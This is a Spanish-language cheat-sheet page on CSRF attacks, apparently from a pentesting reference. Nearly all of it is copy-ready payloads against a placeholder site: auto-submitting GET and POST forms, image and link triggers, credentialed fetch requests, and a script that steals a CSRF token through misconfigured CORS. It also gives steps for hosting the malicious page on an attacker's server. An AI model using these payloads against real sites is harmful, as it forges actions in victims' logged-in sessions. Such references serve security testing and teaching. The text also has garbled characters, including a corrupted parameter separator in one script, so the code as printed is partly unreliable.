Same-origin policy (SOP) no permitir谩 que un atacante obtenga la respuesta del servidor a una solicitud maliciosa realizada desde otro origen, pero no previene la realizaci贸n de peticiones desde otros or铆genes. Esto significa que same-origin policy (SOP) no puede considerarse un mecanismo de seguridad contra ataques de cross-site request forgery (CSRF).
HTML GET con interacci贸n de usuario
Copiar <a href="http://web-vulnerable.com/?param=CSRF">Haz clic aqu铆</a>
HTML GET sin interacci贸n de usuario
Copiar <img src="http://web-vulnerable.com/?param=CSRF">
Formulario HTML GET con interacci贸n de usuario
Copiar <form action="http://web-vulnerable.com" method="GET">
<input name="param" type="hidden" value="CSRF" />
<input type="submit" value="Haz clic aqu铆" />
</form>
Formulario HTML GET sin interacci贸n de usuario
Copiar <html>
<body onload="document.forms['csrf'].submit()">
<form action="http://web-vulnerable.com" method="GET" name="csrf">
<input name="param" type="hidden" value="CSRF" />
<input type="submit" value="Haz clic aqu铆" />
</form>
</body>
</html>
Formulario HTML POST con interacci贸n de usuario
Copiar <form action="http://web-vulnerable.com" method="POST">
<input name="param" type="hidden" value="CSRF" />
<input type="submit" value="Haz clic aqu铆" />
</form>
Formulario HTML POST sin interacci贸n de usuario
Una solicitud
Copiar <html>
<body onload="document.forms['csrf'].submit()">
<form action="http://web-vulnerable.com" method="POST" name="csrf">
<input name="param" type="hidden" value="CSRF" />
</form>
</body>
</html>
M煤ltiples solicitudes
csrf-html-multi-post.html
Copiar <html>
<head>
<script>
function submitForms() {
document.forms['csrf'].submit();
document.forms['csrf2'].submit();
return false;
}
</script>
</head>
<body onload="submitForms();">
<form action="http://web-vulnerable.com/api" method="post" name="csrf" target="_blank">
<input name="param" type="hidden" value="value" />
</form>
<form action="http://web-vulnerable.com/api2" method="post" name="csrf2" target="_blank">
<input name="param" type="hidden" value="value" />
</form>
</body>
</html>
JavaScript fetch POST sin interacci贸n de usuario
Copiar <html>
<head>
<script>
var host = "http://web-vulnerable.com";
var pathAPI = "/api";
var paramValueAPI = "value";
var param2ValueAPI = "value2";
var paramsAPI = "param=" + paramValueAPI + "¶m2=" + param2ValueAPI;
var pathAPI2 = "/api2";
var paramValueAPI2 = "value";
var param2ValueAPI2 = "value2";
var paramsAPI2 = "param=" + paramValueAPI2 + "¶m2=" + param2ValueAPI2;
function api() {
fetch(host+pathAPI, {
method: 'POST',
mode: 'no-cors',
credentials: 'include',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body : paramsAPI }
).then(function(response) {
console.log("API 1...")
api2();
});
}
function api2() {
fetch(host+pathAPI2, {
method: 'POST',
mode: 'no-cors',
credentials: 'include',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body : paramsAPI2 }
).then(
console.log("API 2...")
);
}
api();
</script>
</head>
<body>
</body>
</html>
Alojar y servir p谩gina maliciosa.
Copiar sudo systemctl start apache2
cd /var/www/html
V铆ctima visita p谩gina maliciosa.
Copiar http://<attacker-IP-address>:<port>/csrf.html
Eludir tokens CSRF mediante configuraciones incorrectas de CORS
Copiar <html>
<head>
<script>
var host = "http://web-vulnerable.com";
var pathAPI = "/api";
// Get CSRF token
var xhr = new XMLHttpRequest();
xhr.open("GET", host+pathAPI, false);
xhr.withCredentials = true;
xhr.send();
var res = new DOMParser().parseFromString(xhr.responseText, "text/html");
var csrftoken = encodeURIComponent(res.getElementById("csrf").value);
// CSRF
var csrf_req = new XMLHttpRequest();
var params = `csrf=${csrftoken}`;
csrf_req.open("POST", host+pathAPI, false);
csrf_req.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
csrf_req.withCredentials = true;
csrf_req.send(params);
</script>
</head>
<body>
</body>
</html>
脷ltima actualizaci贸n hace 2 meses